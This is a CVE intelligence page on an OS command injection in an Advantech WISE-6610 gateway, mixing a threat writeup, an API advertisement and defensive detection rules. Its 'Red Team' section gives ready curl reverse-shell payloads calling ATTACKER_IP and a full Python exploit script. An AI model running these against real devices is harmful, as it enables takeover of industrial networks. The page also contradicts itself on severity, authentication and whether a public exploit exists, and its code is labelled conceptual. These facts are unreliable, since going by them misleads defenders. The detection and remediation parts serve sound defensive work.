☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.2 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-77
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-2670

CVE-2026-2670 OS Command Injection in Advantech
📅 PUBLISHED: 2026-02-18 21:02 UTC 🔄 UPDATED: 2026-09-23 20:22 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 12.78%
👁️
12.78% probability
319.5× above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 7.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-2670 is a critical OS command injection vulnerability affecting the Advantech WISE-6610 industrial IoT gateway, specifically firmware version 1.2.1_20251110. The flaw resides in the /cgi-bin/luci/admin/openvpn_apply endpoint of the Background Management interface. By manipulating the delete_file argument, an unauthenticated remote attacker can inject arbitrary operating system commands, leading to full compromise of the device. The exploit is publicly available, and no vendor patch has been released. Given the device's role in industrial environments, this poses a severe risk to operational technology (OT) networks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) – Full read access to device files and network traffic.
  • Integrity Impact: High (I:H) – Attacker can modify system files and configurations.
  • Availability Impact: High (A:H) – Can cause denial of service or device bricking.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority target for threat actors, including ransomware groups targeting OT environments.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the LuCI (Lua Configuration Interface) web framework used by OpenWrt-based devices. The /cgi-bin/luci/admin/openvpn_apply endpoint is designed to apply OpenVPN configuration changes. The delete_file parameter is intended to specify a file to delete during the configuration process. However, the application fails to sanitize or validate user input before passing it to a shell command.

Root Cause: The delete_file parameter is concatenated directly into a system command, such as:

rm -f /tmp/openvpn/delete_file

An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to execute arbitrary commands.

Attack Flow:

  1. Attacker sends a crafted HTTP POST request to /cgi-bin/luci/admin/openvpn_apply with a malicious delete_file value.
  2. The device executes the injected command with root privileges (as the web server runs as root).
  3. Attacker gains a reverse shell, exfiltrates data, or installs persistence.

Impact: Full device takeover, lateral movement into OT networks, disruption of industrial processes, and potential use as a botnet node.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

-- /usr/lib/lua/luci/controller/admin/openvpn.lua (or similar)
function apply_config()
    local delete_file = luci.http.formvalue("delete_file")
    if delete_file then
        os.execute("rm -f /tmp/openvpn/" .. delete_file)
    end
    -- ... rest of apply logic
end

Patched Code (Hypothetical):

function apply_config()
    local delete_file = luci.http.formvalue("delete_file")
    if delete_file then
        -- Sanitize: allow only alphanumeric, dash, underscore, dot
        if not delete_file:match("^[%w_%-%.]+$") then
            luci.http.status(400, "Bad Request")
            return
        end
        os.execute("rm -f /tmp/openvpn/" .. delete_file)
    end
    -- ... rest of apply logic
end

Key Difference: The patched version validates the input against a strict whitelist of allowed characters, preventing shell injection. The vulnerable version passes unsanitized input directly to os.execute.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Target: Advantech WISE-6610 with firmware 1.2.1_20251110
  • Network access to the device's web interface (default port 80/443)
  • Python3 or curl installed

Exploit Payload:

# Reverse shell payload (replace ATTACKER_IP and PORT)
curl -X POST "http://TARGET_IP/cgi-bin/luci/admin/openvpn_apply" \
  --data "delete_file=;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"

Alternative Payload (using netcat):

curl -X POST "http://TARGET_IP/cgi-bin/luci/admin/openvpn_apply" \
  --data "delete_file=|nc ATTACKER_IP PORT -e /bin/sh"

Full Exploit Script (Python):

#!/usr/bin/env python3
import requests
import sys

target = sys.argv[1]
attacker_ip = sys.argv[2]
attacker_port = sys.argv[3]

payload = f";bash -c 'bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1'"
url = f"http://{target}/cgi-bin/luci/admin/openvpn_apply"
data = {"delete_file": payload}

try:
    r = requests.post(url, data=data, timeout=10)
    print(f"[+] Payload sent. Check your listener on {attacker_ip}:{attacker_port}")
except Exception as e:
    print(f"[-] Error: {e}")

Usage:

  1. Start a listener: nc -lvnp 4444
  2. Run: python3 exploit.py TARGET_IP YOUR_IP 4444

Blue Team (Defensive)

Detection Steps:

  1. Monitor HTTP POST requests to /cgi-bin/luci/admin/openvpn_apply containing shell metacharacters (;, |, &, `).
  2. Check for unexpected outbound connections from the device (e.g., to unknown IPs on high ports).
  3. Review system logs for unusual process execution (e.g., /bin/sh spawned by uhttpd).

Honeypot Configuration:

# Use a low-interaction honeypot like Cowrie to mimic the vulnerable endpoint
# and capture attacker payloads.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP POST requests to /cgi-bin/luci/admin/openvpn_apply with delete_file containing shell metacharacters.
  • Outbound connections from the device to external IPs on ports 4444, 1337, or other high ports.
  • DNS queries to domains associated with C2 infrastructure.

File System IOCs:

  • Unexpected files in /tmp/ (e.g., /tmp/.persist, /tmp/rev.sh).
  • Modified /etc/passwd or /etc/shadow (new user accounts).
  • Presence of common post-exploitation tools (e.g., busybox, nc, wget).

Process IOCs:

  • sh or bash processes spawned by uhttpd.
  • Reverse shell processes (e.g., bash -i).

Log IOCs:

  • logread entries showing rm -f /tmp/openvpn/ followed by shell commands.
  • dmesg output showing unexpected network connections.

Detection Engineering

YARA Rule

rule CVE_2026_2670_Exploit_Payload {
    meta:
        description = "Detects HTTP POST payloads targeting CVE-2026-2670"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-2670"
    strings:
        $payload1 = "delete_file=;" ascii wide nocase
        $payload2 = "delete_file=|" ascii wide nocase
        $payload3 = "delete_file=&" ascii wide nocase
        $payload4 = "delete_file=\`" ascii wide nocase
        $shell_cmd = "/dev/tcp/" ascii wide nocase
    condition:
        any of ($payload*) and $shell_cmd
}

Sigma Rule

title: CVE-2026-2670 OS Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/luci/admin/openvpn_apply with shell metacharacters in delete_file parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/luci/admin/openvpn_apply'
        cs-uri-query|contains:
            - 'delete_file=;'
            - 'delete_file=|'
            - 'delete_file=&'
            - 'delete_file=\`'
    condition: selection
falsepositives:
    - Legitimate file names containing special characters (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-2670 OS Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/luci/admin/openvpn_apply"; http_uri; content:"delete_file="; http_client_body; pcre:"/delete_file=[;|&\`]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected devices: Place WISE-6610 gateways on a separate VLAN with strict firewall rules blocking inbound HTTP from untrusted networks.
  2. Disable the vulnerable endpoint: If possible, block access to /cgi-bin/luci/admin/openvpn_apply via web server configuration or iptables.
  3. Apply virtual patching: Use a WAF (e.g., ModSecurity) to block requests containing shell metacharacters in the delete_file parameter.

Long-term Fix:

  • Vendor patch: Await an official firmware update from Advantech. Contact their support team and reference CVE-2026-2670.
  • Manual code fix: If you have access to the device's filesystem, modify the LuCI controller to sanitize the delete_file input as shown in the patched code section.
  • Upgrade: Consider replacing the device with a supported alternative if no patch is forthcoming.

Compensating Controls:

  • Enable logging and monitoring for the specific IOCs listed above.
  • Implement network segmentation between OT and IT networks.
  • Use an IDS/IPS (e.g., Snort, Suricata) with the provided rules.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-2670/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.